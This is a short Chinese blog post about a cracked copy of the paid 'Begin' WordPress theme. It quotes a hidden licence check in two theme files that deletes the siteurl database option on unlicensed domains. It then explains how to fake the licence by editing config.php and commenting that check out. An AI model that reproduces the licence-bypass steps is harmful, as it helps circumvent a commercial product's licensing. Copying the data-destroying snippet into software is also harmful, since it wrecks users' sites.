记录一次知更鸟WordPress主题包恶意文件

[重要通告]如您遇疑难杂症,本站支持知识付费业务,扫右边二维码加博主微信,可节省您宝贵时间哦!

文件有三个分别是：
begin/inc/config.php
begin/inc/call.php
begin/inc/load.php

恶意代码所在文件：
begin/inc/call.php
begin/inc/load.php

授权代码所在文件：
begin/inc/config.php

使用的是伪授权方法：
1、修改：begin/inc/config.php

$add_domain='xxx.cn,xxx.com,ssr.plus,localhost';

可能你解密后的文件里面的域名跟我发的教程不一样！
将$add_domain=’xxx.cn,xxx.com,ssr.plus,localhost’;修改为：$add_domain=$_SERVER[‘SERVER_NAME’];

2、注释代码：
文件分别是：
begin/inc/call.php
begin/inc/load.php

将

if (!in_array('localhost', $allow_domain)) {
    global $wpdb;
    $wpdb->query('DELETE FROM ' . $wpdb->options . ' WHERE option_name = \'siteurl\'');

这段IF代码注释掉，如果不注释掉，你的Wordpress数据库必然被恶意修改，就算使用Wordpress自带的修复工具也是无法修复的！

注释掉：

if (!in_array('localhost', $allow_domain)) {
    global $wpdb;
    $wpdb->query('DELETE FROM ' . $wpdb->options . ' WHERE option_name = \'siteurl\'');

代码后保存文件，然后在启用主题，你会发现主题已经正常使用！！！

切记暂且没有能力购买主题正版的同学，一定要经常备份数据库，不然最后哭都来不及，如有“实力”请支持正版；

问题未解决？付费解决问题加Q或微信 2589053300 (即Q号又微信号)右上方扫一扫可加博主微信

所写所说，是心之所感，思之所悟，行之所得；文当无敷衍，落笔求简洁。 以所舍，求所获；有所依，方所成！